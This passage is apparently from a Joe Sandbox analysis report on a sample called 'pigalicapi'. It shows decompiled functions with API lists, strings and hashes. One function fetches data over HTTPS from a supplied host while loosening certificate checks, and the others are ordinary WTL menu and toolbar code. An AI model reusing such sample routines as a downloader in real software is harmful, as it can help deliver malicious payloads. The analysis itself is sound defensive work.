Opcode Fuzzy Hash: a3b9e164d6f61cb74035bc913cb4fc3c07dc7f648392a50e447e3cae19fdce1a
Instruction Fuzzy Hash: 97A181719002589BDF20DBA4CC88BEEBBBEFF55700F504498E29AE7641D77459C5CB21

Uniqueness

Uniqueness Score: -1.00%

Function 04002900 Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 133
networkfilestringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04002900(char* _a4, intOrPtr _a8, intOrPtr _a12) {
				void* _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				long _v24;
				CHAR* _v28;
				char _v292;
				void _v296;
				void* _v300;
				long _v304;
				long _v308;
				char* _t54;

				_v8 = 0;
				if(_a4 != 0 && _a8 != 0 && _a12 != 0) {
					_t54 =  *0x400e004; // 0x400c398
					_v12 = InternetOpenA(_t54, 1, 0, 0, 0);
					if(_v12 != 0) {
						_v16 = InternetConnectA(_v12, _a4, 0x1bb, 0x400c3d2, 0x400c3d1, 3, 0, 0);
						if(_v16 != 0) {
							_v20 = HttpOpenRequestA(_v16, "GET", "/", "1.1", 0, 0, 0x80800000, 0);
							if(_v20 != 0) {
								wsprintfA( &_v292, "https://%s", _a4);
								_v28 = "Accept: */*";
								_v24 = 4;
								InternetQueryOptionA(_v20, 0x1f,  &_v296,  &_v24);
								_v296 = _v296 | 0x0000b180;
								InternetSetOptionA(_v20, 0x1f,  &_v296, 4);
								if(HttpSendRequestA(_v20, _v28, lstrlenA(_v28), 0, 0) == 0) {
									_v308 = GetLastError();
								} else {
									_v300 = 0;
									while(_v300 < _a12) {
										_v304 = 0;
										InternetReadFile(_v20, _a8 + _v300, _a12 - _v300,  &_v304);
										if(_v304 != 0) {
											_v300 = _v300 + _v304;
											 *(_a8 + _v300) = 0;
											continue;
										} else {
										}
										break;
									}
									_v8 = _v300;
								}
								InternetCloseHandle(_v20);
							}
							InternetCloseHandle(_v16);
						}
						InternetCloseHandle(_v12);
					}
				}
				return _v8;
			}

APIs

InternetOpenA.WININET(0400C398,00000001,00000000,00000000,00000000), ref: 0400293C
InternetConnectA.WININET(00000000,00000000,000001BB,0400C3D2,0400C3D1,00000003,00000000,00000000), ref: 0400296C
HttpOpenRequestA.WININET(00000000,GET,0400C3D8,1.1,00000000,00000000,80800000,00000000), ref: 0400299D
wsprintfA.USER32 ref: 040029C0
InternetQueryOptionA.WININET(00000000,0000001F,?,00000004), ref: 040029E8
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 04002A0E
lstrlenA.KERNEL32(0400C3EC,00000000,00000000), ref: 04002A1C
HttpSendRequestA.WININET(00000000,0400C3EC,00000000), ref: 04002A2B
InternetReadFile.WININET(00000000,00000000,00000000,00000000), ref: 04002A73
GetLastError.KERNEL32 ref: 04002AAF
InternetCloseHandle.WININET(00000000), ref: 04002ACB
InternetCloseHandle.WININET(00000000), ref: 04002AD5
InternetCloseHandle.WININET(00000000), ref: 04002ADF

Strings

https://%s, xrefs: 040029B4
GET, xrefs: 04002994
1.1, xrefs: 0400298A

Memory Dump Source

Source File: 00000001.00000002.727052256.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000001.00000002.727020045.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727132204.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727164191.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4000000_pigalicapi.jbxd

Similarity

API ID: Internet$CloseHandle$HttpOpenOptionRequest$ConnectErrorFileLastQueryReadSendlstrlenwsprintf
String ID: 1.1$GET$https://%s
API String ID: 2082764430-1670984264
Opcode ID: cac5eb598011e3025bfd3ce525b4309c6a0d8895317d56ddd471764706ed79e9
Instruction ID: 6d54c3b05ff69590bd14da6a4fff8ed2da31e3bdf774b399ca20979b5291bdcc
Opcode Fuzzy Hash: cac5eb598011e3025bfd3ce525b4309c6a0d8895317d56ddd471764706ed79e9
Instruction Fuzzy Hash: 02510C71944218AFEB24CF94DC89BEEB7B4EB49700F108598F605B62C0C7B8AE94CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0080F090 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 163
windowCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E0080F090(void* __ebx, intOrPtr* __ecx, void* __edx) {
				signed int _v8;
				char _v211;
				char _v212;
				intOrPtr* _v216;
				void* _v220;
				void* _v224;
				CHAR* _v228;
				CHAR* _v232;
				CHAR* _v236;
				CHAR* _v240;
				CHAR* _v244;
				CHAR* _v248;
				CHAR* _v252;
				void* _v256;
				void* __edi;
				void* __esi;
				signed int _t58;
				intOrPtr _t60;
				signed char _t65;
				void* _t70;
				struct HDC__* _t121;
				RECT* _t122;
				signed int _t125;

				_t106 = __edx;
				_t89 = __ebx;
				_t58 =  *0x869060; // 0xda7e2511
				_v8 = _t58 ^ _t125;
				_t123 = __edx;
				_t60 =  *((intOrPtr*)(__edx + 0xc));
				_v216 = __ecx;
				if(_t60 != 1) {
					if(_t60 != 0x10001) {
						L17:
						return E008159E6(0, _t89, _v8 ^ _t125, _t106, 0, _t123);
					} else {
						if(( *(__ebx + 0x85) & 0x00000001) == 0) {
							if(( *(__ebx + 0x84) & 0x00000080) == 0) {
								 *(_t123 + 0x3c) = GetSysColor(0x11);
								 *_v216 = 1;
							}
							goto L17;
						} else {
							_t65 =  *(__edx + 0x28);
							if((_t65 & 0 | (_t65 & 0x00000004) == 0x00000004) != 0) {
								L8:
								 *(_t123 + 0x3c) = GetSysColor(0x11);
								goto L9;
							} else {
								if((_t65 & 0x00000041) == 0) {
									if(( *(__ebx + 0x84) & 0x00000080) == 0) {
										goto L8;
									}
								} else {
									_t122 = __edx + 0x14;
									FillRect( *(_t123 + 0x10), _t122, GetSysColorBrush(0x1d));
									FrameRect( *(_t123 + 0x10), _t122, GetSysColorBrush(0xd));
									asm("sbb edx, edx");
									 *(_t123 + 0x3c) = GetSysColor(( ~( *(__ebx + 0x84) & 0x80) & 0xfffffffd) + 0x11);
									L9:
								}
							}
							_t121 =  *(_t123 + 0x10);
							SetTextColor(_t121,  *(_t123 + 0x3c));
							SetBkMode(_t121,  *(_t123 + 0x64));
							_t70 = SendMessageA( *(_t89 + 4), 0x31, 0, 0);
							_v224 = _t70;
							_v220 = 0;
							if(_t70 != 0) {
								_v220 = SelectObject(_t121, _t70);
							}
							_v212 = 0;
							E00816820( &_v211, 0, 0xc7);
							_v252 = 0;
							_v232 = 0;
							_v228 = 0;
							_v248 = 0;
							_v244 = 0;
							_v240 = 0;
							_v236 = 0;
							_v232 =  &_v212;
							_v256 = 0x20;
							_v252 = 2;
							_v228 = 0xc8;
							SendMessageA( *(_t89 + 4), 0x441,  *(_t123 + 0x24),  &_v256);
							_t124 = _t123 + 0x14;
							DrawTextA(_t121,  &_v212, 0xffffffff, _t123 + 0x14,  !(( *(_t89 + 0x85) & 0x000000ff) << 0x12) & 0x00100000 | 0x00000025);
							if(_v224 != 0) {
								SelectObject(_t121, _v220);
							}
							 *_v216 = 1;
							return E008159E6(4, _t89, _v8 ^ _t125, _v216, _t121, _t124);
						}
					}
				} else {
					 *__ecx = 1;
					return E008159E6(0x20, __ebx, _v8 ^ _t125, __edx, 0, __edx);
				}
			}

0x0080f090
0x0080f090
0x0080f099
0x0080f0a0
0x0080f0a4
0x0080f0a6
0x0080f0ac
0x0080f0b5
0x0080f0d5
0x0080f2b0
0x0080f2c1
0x0080f0db
0x0080f0e2
0x0080f297
0x0080f2a1
0x0080f2aa
0x0080f2aa
0x00000000
0x0080f0e8
0x0080f0e8
0x0080f0f8
0x0080f14b
0x0080f153
0x00000000
0x0080f0fa
0x0080f0fc
0x0080f149
0x00000000
0x00000000
0x0080f0fe
0x0080f100
0x0080f10f
0x0080f123
0x0080f137
0x0080f153
0x0080f14d
0x0080f153
0x0080f0fc
0x0080f159
0x0080f15e
0x0080f169
0x0080f179
0x0080f17f
0x0080f185
0x0080f191
0x0080f19b
0x0080f19b
0x0080f1af
0x0080f1b6
0x0080f1c0
0x0080f1c6
0x0080f1cc
0x0080f1d9
0x0080f1df
0x0080f1e5
0x0080f1eb
0x0080f1fb
0x0080f20a
0x0080f214
0x0080f21e
0x0080f228
0x0080f244
0x0080f252
0x0080f25f
0x0080f269
0x0080f269
0x0080f27a
0x0080f28f
0x0080f28f
0x0080f0e2
0x0080f0b7
0x0080f0ba
0x0080f0cf
0x0080f0cf

APIs

GetSysColorBrush.USER32(0000001D), ref: 0080F103
FillRect.USER32 ref: 0080F10F
GetSysColorBrush.USER32(0000000D), ref: 0080F117
FrameRect.USER32 ref: 0080F123
GetSysColor.USER32(00000011), ref: 0080F14D
SetTextColor.GDI32(?,?), ref: 0080F15E
SetBkMode.GDI32(?,?), ref: 0080F169
SendMessageA.USER32 ref: 0080F179
SelectObject.GDI32(?,00000000), ref: 0080F195
_memset.LIBCMT ref: 0080F1B6
SendMessageA.USER32 ref: 0080F228

Strings

, xrefs: 0080F20A

Memory Dump Source

Source File: 00000001.00000002.711552533.0000000000801000.00000020.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.711459674.0000000000800000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000820000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000830000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712946985.0000000000869000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713011724.000000000086C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713140868.0000000000880000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713182892.0000000000883000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_pigalicapi.jbxd

Similarity

API ID: Color$BrushMessageRectSend$FillFrameModeObjectSelectText_memset
String ID:
API String ID: 3018652888-3916222277
Opcode ID: b033c4492c18b1f73497139a68de2a4e1d00d227573a45e7ed5edd2f2e2de88a
Instruction ID: 18072f8d2fcf838b3135be2bae3bb21c3263c098ff4149ef17b1941979be57a7
Opcode Fuzzy Hash: b033c4492c18b1f73497139a68de2a4e1d00d227573a45e7ed5edd2f2e2de88a
Instruction Fuzzy Hash: F751A271500219DFDB70CF68DD49BAABBF8FB88710F0081AAEA49E6681D7745985CF60

Uniqueness

Uniqueness Score: -1.00%

Function 00810AF0 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 140
windowregistrythreadCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E00810AF0(void* __ecx, void* __esi, int _a4, int _a8, long _a12) {
				signed char _v0;
				void* _v8;
				signed int _v16;
				struct tagRECT _v32;
				long _v36;
				long _v40;
				struct tagPOINT _v48;
				long _v52;
				long _v56;
				long _v60;
				long _v64;
				intOrPtr _v68;
				int _v72;
				int _v76;
				int _v80;
				int _v84;
				void* _v88;
				int _v92;
				struct tagMSG _v116;
				void* __ebx;
				void* __edi;
				long _t113;
				signed int _t114;
				int _t129;
				signed int _t133;
				long _t144;
				signed char _t146;
				void* _t148;
				int _t152;
				intOrPtr _t168;
				int _t173;
				void* _t182;
				void* _t183;
				void* _t185;
				intOrPtr _t186;
				struct _CRITICAL_SECTION* _t187;
				signed int _t192;
				int _t206;
				struct HHOOK__** _t211;
				intOrPtr _t215;
				intOrPtr* _t233;
				int _t234;
				int _t235;
				struct HWND__* _t236;
				signed int _t237;
				signed int _t238;
				void* _t239;
				void* _t240;
				void* _t241;
				struct HWND__* _t243;
				intOrPtr* _t246;
				struct HWND__** _t248;
				intOrPtr _t249;
				struct _CRITICAL_SECTION* _t250;
				intOrPtr _t251;
				struct _CRITICAL_SECTION* _t252;
				signed int _t255;
				signed int _t256;
				void* _t262;
				intOrPtr _t271;

				_t256 = _t255 & 0xfffffff8;
				_push(__ecx);
				_push(__esi);
				if(_a4 == 0 && _a8 == 1) {
					if( *0x8819a8 == 0) {
						_t251 =  *0x88196c; // 0x8819bc
						_t252 = _t251 + 0x10;
						EnterCriticalSection(_t252);
						if( *0x8819a8 == 0) {
							 *0x8819a8 = RegisterWindowMessageA("WTL_CmdBar_InternalGetBarMsg");
						}
						LeaveCriticalSection(_t252);
					}
					_t168 =  *((intOrPtr*)(_a12 + 4));
					_t262 = _t168 -  *0x8819a8; // 0x0
					if(_t262 != 0 && _t168 != 0x37f) {
						_t243 =  *_a12;
						_t248 = 0;
						_v8 = 0;
						while(_t243 != 0) {
							if( *0x8819a8 == 0) {
								_t249 =  *0x88196c; // 0x8819bc
								_t250 = _t249 + 0x10;
								EnterCriticalSection(_t250);
								if( *0x8819a8 == 0) {
									 *0x8819a8 = RegisterWindowMessageA("WTL_CmdBar_InternalGetBarMsg");
								}
								LeaveCriticalSection(_t250);
							}
							_t173 =  *0x8819a8; // 0x0
							_t248 = SendMessageA(_t243, _t173,  &_v8, 0);
							_t243 = GetParent(_t243);
							if(_t248 == 0) {
								continue;
							} else {
								L17:
								if(_v8 == GetCurrentProcessId()) {
									_t248[7] =  *_a12;
									if(IsWindow( *_t248) != 0) {
										SendMessageA( *_t248, 0x37f, 0, _a12);
									}
								}
							}
							goto L20;
						}
						if(_t248 != 0) {
							goto L17;
						}
					}
				}
				L20:
				_t271 =  *0x881994; // 0x0
				if(_t271 == 0) {
					L25:
					return 0;
				} else {
					_t113 = GetCurrentThreadId();
					_t233 =  *0x881994; // 0x0
					_t215 =  *((intOrPtr*)(_t233 + 8));
					_t192 = 0;
					if(_t215 <= 0) {
						goto L25;
					} else {
						_t246 =  *_t233;
						while( *_t246 != _t113) {
							_t192 = _t192 + 1;
							_t246 = _t246 + 4;
							if(_t192 < _t215) {
								continue;
							} else {
								goto L25;
							}
							goto L55;
						}
						if(_t192 == 0xffffffff) {
							goto L25;
						} else {
							if(_t192 < 0 || _t192 >= _t215) {
								RaiseException(0xc000008c, 1, 0, 0);
								asm("int3");
								_t254 = _t256;
								_t114 =  *0x869060; // 0xda7e2511
								_v32.left = _t114 ^ _t256;
								_push(0);
								_push(_t233);
								_v48.x = 0;
								_v48.y = 0;
								_v40 = 0;
								_v36 = 0;
								_t234 = _t192;
								SendMessageA( *(_t246 + 4), 0x41d, _t234,  &_v48);
								_v116.time.x = _v48.x;
								_v116.pt.x = _v36;
								MapWindowPoints( *(_t246 + 4), 0,  &(_v116.time), 1);
								MapWindowPoints( *(_t246 + 4), 0,  &_v48, 2);
								_v64 = 0;
								_v60 = 0;
								_v56 = 0;
								_v52 = 0;
								_v60 = _v48.y;
								_v64 = _v48.x;
								_v68 = 0x14;
								_v56 = _v40;
								_v52 = _v36;
								_v116.lParam = GetSubMenu( *(_t246 + 0x44), _t234);
								_v88 = 0;
								_v84 = 0;
								_v80 = 0;
								_v76 = 0;
								_v72 = 0;
								SendMessageA( *(_t246 + 4), 0x417, _t234,  &_v88);
								_t129 = _v84;
								_v92 = _t129;
								 *(_t246 + 0x88) = _t234;
								SendMessageA( *(_t246 + 4), 0x403, _t129, 1);
								_t235 = _v92;
								SendMessageA( *(_t246 + 4), 0x448, _t235, 0);
								if( *0x8819a0 == 0) {
									_t133 = 0;
								} else {
									asm("sbb eax, eax");
									_t133 = ( ~(_v0 & 0x000000ff) & 0xffffd000) + 0x4000;
								}
								E0080F7B0( &_v52, _v80, _t246, _v88, _t133 | 0x00000040, _v84);
								SendMessageA( *(_t246 + 4), 0x403, _t235, 0);
								_t236 =  *(_t246 + 4);
								if(GetFocus() != _t236) {
									SendMessageA(_t236, 0x448, 0xffffffff, 0);
								}
								_t223 =  *(_t246 + 4);
								_t237 = PeekMessageA;
								_v116.hwnd = 0;
								_v116.message = 0;
								_v116.wParam = 0;
								_v116.lParam = 0;
								_v116.time.x = 0;
								_v116.pt.x = 0;
								_v92 = 0;
								 *(_t246 + 0x88) = 0xffffffff;
								if(PeekMessageA( &_v116,  *(_t246 + 4), 0x201, 0x201, 0) != 0) {
									_t223 = _v116.pt.x;
									_push(_v92);
									if(PtInRect( &_v32, _v116.pt.x) != 0) {
										_t223 =  &_v116;
										PeekMessageA( &_v116,  *(_t246 + 4), 0x201, 0x201, 1);
									}
								}
								_t238 = _t237 | 0xffffffff;
								if( *(_t246 + 0x8c) == _t238) {
									 *(_t246 + 0x84) =  *(_t246 + 0x84) & 0x000000ef;
									if(( *(_t246 + 0x84) & 0x00000020) != 0) {
										SendMessageA( *(_t246 + 4), 0x448, _v76, 0);
										_t144 = SendMessageA( *(_t246 + 4), 0x449, 1, 0);
										_pop(_t239);
										_pop(_t182);
										return E008159E6(_t144, _t182, _v16 ^ _t254,  *(_t246 + 4), _t239, _t246);
									} else {
										_t146 =  *(_t246 + 0x85);
										if((_t146 & 0x00000002) != 0 && (_t146 & 0x00000004) != 0) {
											 *(_t246 + 0x85) = _t146 & 0x000000f7;
										}
										_t148 = E00811570(_t246, _t238);
										_pop(_t240);
										_pop(_t183);
										return E008159E6(_t148, _t183, _v16 ^ _t254, _t223, _t240, _t246);
									}
								} else {
									if( *0x8819a4 == 0) {
										_t186 =  *0x88196c; // 0x8819bc
										_t187 = _t186 + 0x10;
										EnterCriticalSection(_t187);
										if( *0x8819a4 == 0) {
											 *0x8819a4 = RegisterWindowMessageA("WTL_CmdBar_InternalAutoPopupMsg");
										}
										LeaveCriticalSection(_t187);
									}
									_t206 =  *0x8819a4; // 0x0
									_t225 =  *(_t246 + 4);
									_t152 = PostMessageA( *(_t246 + 4), _t206,  *(_t246 + 0x8c) & 0x0000ffff, 0);
									if(( *(_t246 + 0x8c) & 0xffff0000) == 0 && ( *(_t246 + 0x84) & 0x00000008) == 0) {
										_t152 = PostMessageA( *(_t246 + 4), 0x100, 0x28, 0);
									}
									 *(_t246 + 0x8c) = _t238;
									_pop(_t241);
									_pop(_t185);
									return E008159E6(_t152, _t185, _v16 ^ _t254, _t225, _t241, _t246);
								}
							} else {
								_t211 =  *( *((intOrPtr*)(_t233 + 4)) + _t192 * 4);
								if(_t211 == 0) {
									goto L25;
								} else {
									return CallNextHookEx( *_t211, _a4, _a8, _a12);
								}
							}
						}
					}
				}
				L55:
			}

0x00810af3
0x00810af6
0x00810afc
0x00810afe
0x00810b15
0x00810b17
0x00810b1d
0x00810b21
0x00810b2e
0x00810b3b
0x00810b3b
0x00810b41
0x00810b41
0x00810b4a
0x00810b4d
0x00810b53
0x00810b67
0x00810b6f
0x00810b71
0x00810b75
0x00810b80
0x00810b82
0x00810b88
0x00810b8c
0x00810b99
0x00810ba6
0x00810ba6
0x00810bac
0x00810bac
0x00810bb2
0x00810bc3
0x00810bcb
0x00810bcf
0x00000000
0x00810bd1
0x00810bd7
0x00810be1
0x00810beb
0x00810bf6
0x00810c06
0x00810c06
0x00810bf6
0x00810be1
0x00000000
0x00810bcf
0x00810bd5
0x00000000
0x00000000
0x00810bd5
0x00810b53
0x00810c08
0x00810c0a
0x00810c10
0x00810c3c
0x00810c44
0x00810c12
0x00810c12
0x00810c18
0x00810c1e
0x00810c21
0x00810c25
0x00000000
0x00810c27
0x00810c27
0x00810c30
0x00810c34
0x00810c35
0x00810c3a
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00810c3a
0x00810c4a
0x00000000
0x00810c4c
0x00810c4e
0x00810c89
0x00810c8f
0x00810c91
0x00810c96
0x00810c9d
0x00810ca0
0x00810ca9
0x00810caa
0x00810cad
0x00810cb0
0x00810cb3
0x00810cba
0x00810cc6
0x00810cd4
0x00810cdd
0x00810ce0
0x00810cf2
0x00810d00
0x00810d03
0x00810d06
0x00810d09
0x00810d0f
0x00810d15
0x00810d1d
0x00810d24
0x00810d27
0x00810d38
0x00810d43
0x00810d46
0x00810d49
0x00810d4c
0x00810d4f
0x00810d52
0x00810d54
0x00810d5a
0x00810d66
0x00810d6c
0x00810d6e
0x00810d7d
0x00810d86
0x00810d9c
0x00810d88
0x00810d8e
0x00810d95
0x00810d95
0x00810db1
0x00810dc2
0x00810dc4
0x00810dcf
0x00810ddb
0x00810ddb
0x00810ddd
0x00810de0
0x00810df3
0x00810df6
0x00810df9
0x00810dfc
0x00810dff
0x00810e02
0x00810e05
0x00810e0d
0x00810e1b
0x00810e20
0x00810e23
0x00810e31
0x00810e43
0x00810e47
0x00810e47
0x00810e31
0x00810e49
0x00810e52
0x00810eea
0x00810ef8
0x00810f38
0x00810f47
0x00810f4c
0x00810f4f
0x00810f58
0x00810efa
0x00810efa
0x00810f02
0x00810f0a
0x00810f0a
0x00810f12
0x00810f17
0x00810f18
0x00810f26
0x00810f26
0x00810e58
0x00810e5f
0x00810e61
0x00810e67
0x00810e6b
0x00810e78
0x00810e85
0x00810e85
0x00810e8b
0x00810e8b
0x00810e98
0x00810e9e
0x00810eac
0x00810eb8
0x00810ed0
0x00810ed0
0x00810ed2
0x00810ed8
0x00810ed9
0x00810ee7
0x00810ee7
0x00810c54
0x00810c57
0x00810c5c
0x00000000
0x00810c5e
0x00810c7b
0x00810c7b
0x00810c5c
0x00810c4e
0x00810c4a
0x00810c25
0x00000000

APIs

EnterCriticalSection.KERNEL32(008819AC), ref: 00810B21
RegisterWindowMessageA.USER32(WTL_CmdBar_InternalGetBarMsg), ref: 00810B35
LeaveCriticalSection.KERNEL32(008819AC), ref: 00810B41
EnterCriticalSection.KERNEL32(008819AC), ref: 00810B8C
RegisterWindowMessageA.USER32(WTL_CmdBar_InternalGetBarMsg), ref: 00810BA0
LeaveCriticalSection.KERNEL32(008819AC), ref: 00810BAC
SendMessageA.USER32 ref: 00810BC0
GetParent.USER32 ref: 00810BC5
GetCurrentProcessId.KERNEL32 ref: 00810BD7
IsWindow.USER32(00000000), ref: 00810BEE
SendMessageA.USER32 ref: 00810C06
GetCurrentThreadId.KERNEL32 ref: 00810C12
CallNextHookEx.USER32 ref: 00810C6D
RaiseException.KERNEL32(C000008C,00000001,00000000,00000000), ref: 00810C89

Strings

WTL_CmdBar_InternalGetBarMsg, xrefs: 00810B30, 00810B9B

Memory Dump Source

Source File: 00000001.00000002.711552533.0000000000801000.00000020.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.711459674.0000000000800000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000820000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000830000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712946985.0000000000869000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713011724.000000000086C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713140868.0000000000880000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713182892.0000000000883000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_pigalicapi.jbxd

Similarity

API ID: CriticalMessageSection$Window$CurrentEnterLeaveRegisterSend$CallExceptionHookNextParentProcessRaiseThread
String ID: WTL_CmdBar_InternalGetBarMsg
API String ID: 2745667198-1327875102
Opcode ID: d1ee23d11b5e415525e9f5a216c9bfe77c1c7c511a3d4ca75536cf4efe3f6ad9
Instruction ID: e2868b1df3cc7f03eb0fd9dd17b320445a962eaa75ee8acaabf58c54964e320b
Opcode Fuzzy Hash: d1ee23d11b5e415525e9f5a216c9bfe77c1c7c511a3d4ca75536cf4efe3f6ad9
Instruction Fuzzy Hash: 90418C35601205AFDB20CF18EC98BAA77A8FF44325F608619F855D7251CBB0ACC6CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0080E2D0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 228
windowCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E0080E2D0(unsigned int __ecx, intOrPtr __edx, signed char _a4, struct HMENU__* _a8, long* _a12) {
				long _v8;
				char _v16;
				intOrPtr _v20;
				signed int _v28;
				char _v136;
				int _v140;
				struct HMENU__* _v144;
				struct HMENU__* _v148;
				intOrPtr _v152;
				long _v156;
				signed int _v160;
				struct tagMENUITEMINFOA _v208;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t86;
				signed int _t87;
				signed int _t93;
				long _t94;
				long _t96;
				long _t97;
				int _t99;
				signed int _t103;
				signed int _t105;
				signed int _t107;
				CHAR* _t109;
				int _t113;
				long _t118;
				long* _t121;
				void* _t122;
				struct HMENU__* _t123;
				CHAR* _t126;
				intOrPtr _t127;
				int _t128;
				signed int _t146;
				intOrPtr _t150;
				void* _t151;
				struct HMENU__* _t152;
				struct HMENU__* _t154;
				void* _t155;
				int _t156;
				signed int _t159;
				signed int _t163;
				intOrPtr _t164;

				_t128 = __ecx;
				_t161 = _t163;
				_push(0xffffffff);
				_push(E0081F2B5);
				_push( *[fs:0x0]);
				_t164 = _t163 - 0xc0;
				_t86 =  *0x869060; // 0xda7e2511
				_t87 = _t86 ^ _t163;
				_v28 = _t87;
				_push(_t87);
				 *[fs:0x0] =  &_v16;
				_v20 = _t164;
				_t154 = _a8;
				_t121 = _a12;
				_t150 = __edx;
				_v152 = __edx;
				if(__ecx >> 0x10 == 0) {
					_t145 =  *((intOrPtr*)(__edx + 0x84));
					_t93 = _t145 >> 0x00000001 & 0x00000001;
					__eflags = _t93;
					if(_t93 != 0) {
						L4:
						__eflags = _t93;
						if(_t93 == 0) {
							__eflags = _t128;
							if(_t128 != 0) {
								L12:
								_t94 = _t128;
							} else {
								__eflags = _t145 & 0x00000010;
								if((_t145 & 0x00000010) != 0) {
									goto L12;
								} else {
									_t94 = SendMessageA( *(_t150 + 4), 0x447, _t128, _t128);
								}
							}
							_t145 =  *(_t150 + 0x74);
							_push(_t94);
							_push(_t154);
							_push(_a4);
							_push( *((intOrPtr*)(_t150 + 0x5c)));
							_push( *(_t150 + 0x74));
						} else {
							__eflags = _t128;
							if(_t128 != 0) {
								L8:
								_t145 = _a4;
								_push(_t128);
								_push(_t154);
								_push(_a4);
								_push( *(_t150 + 4));
								_push( *((intOrPtr*)(_t150 + 0x40)));
							} else {
								__eflags = _t145 & 0x00000010;
								if((_t145 & 0x00000010) != 0) {
									goto L8;
								} else {
									_t118 = SendMessageA( *(_t150 + 4), 0x447, _t128, _t128);
									_t145 = _a4;
									_push(_t118);
									_push(_t154);
									_push(_a4);
									_push( *(_t150 + 4));
									_push( *((intOrPtr*)(_t150 + 0x40)));
								}
							}
						}
						_t96 = CallWindowProcA();
						__eflags =  *(_t150 + 0x84) & 0x00000004;
						_v156 = _t96;
						if(( *(_t150 + 0x84) & 0x00000004) == 0) {
							L39:
							_t97 = _v156;
							goto L40;
						} else {
							_t123 = _t154;
							_v144 = _t123;
							_t156 = 0;
							__eflags = 0;
							_v8 = 0;
							while(1) {
								_v140 = _t156;
								_t99 = GetMenuItemCount(_t123);
								__eflags = _t156 - _t99;
								if(_t156 >= _t99) {
									break;
								}
								E00816820( &_v208, 0, 0x30);
								_t164 = _t164 + 0xc;
								_v208.cbSize = 0x30;
								_t103 = E00804890(_t123, _t150, _t156);
								__eflags = _t103;
								if(_t103 != 0) {
									_v208.cbSize = 0x2c;
								}
								_t145 =  &_v208;
								_v208.cch = 0x64;
								_v208.fMask = 0x3f;
								_v208.dwTypeData =  &_v136;
								GetMenuItemInfoA(_t123, _t156, 1,  &_v208);
								__eflags = _v208.fType & 0x00000100;
								if(__eflags != 0) {
									L37:
									_t156 = _v140 + 1;
									continue;
								} else {
									_push(0x14);
									_v208.fMask = 0x31;
									_v8 = 1;
									_t105 = E008165FC( &_v208, _t150, _t156, __eflags);
									_t164 = _t164 + 4;
									__eflags = _t105;
									if(_t105 == 0) {
										_t159 = 0;
										__eflags = 0;
										_v160 = 0;
									} else {
										 *_t105 = 0x1313;
										_t159 = _t105;
										_v160 = _t105;
									}
									_v8 = 0;
									__eflags = _t159;
									if(_t159 == 0) {
										goto L37;
									} else {
										 *((intOrPtr*)(_t159 + 8)) = _v208.fType;
										 *((intOrPtr*)(_t159 + 0xc)) = _v208.fState;
										_v208.fType = _v208.fType | 0x00000100;
										 *(_t159 + 0x10) = 0xffffffff;
										_t146 =  *(_t150 + 0x50);
										_t107 = 0;
										__eflags = _t146;
										if(__eflags <= 0) {
											L30:
											_t61 = lstrlenA( &_v136) + 1; // 0x1
											_t152 = _t61;
											_push(_t152);
											_v148 = _t152;
											 *(_t159 + 4) = 0;
											_v8 = 3;
											_t109 = E00815DD7( &_v136, _t152, _t159, __eflags);
											_t164 = _t164 + 4;
											 *(_t159 + 4) = _t109;
											_v8 = 0;
											_t126 =  *(_t159 + 4);
											__eflags = _t126;
											if(_t126 != 0) {
												_t113 = lstrlenA( &_v136);
												__eflags = _t152 - _t113;
												if(_t152 > _t113) {
													lstrcpyA(_t126,  &_v136);
												}
											}
											_t145 =  &_v208;
											_v208.dwItemData = _t159;
											SetMenuItemInfoA(_v144, _v140, 1,  &_v208);
											_t123 = _v144;
											_t150 = _v152;
											goto L37;
										} else {
											_t127 = _v208.wID;
											while(1) {
												__eflags = _t107;
												if(_t107 < 0) {
													break;
												}
												__eflags = _t107 - _t146;
												if(_t107 >= _t146) {
													break;
												} else {
													__eflags = ( *( *((intOrPtr*)(_t150 + 0x4c)) + _t107 * 2) & 0x0000ffff) - _t127;
													if(__eflags == 0) {
														 *(_t159 + 0x10) = _t107;
														goto L30;
													} else {
														_t107 = _t107 + 1;
														__eflags = _t107 - _t146;
														if(__eflags < 0) {
															continue;
														} else {
															goto L30;
														}
													}
												}
												goto L41;
											}
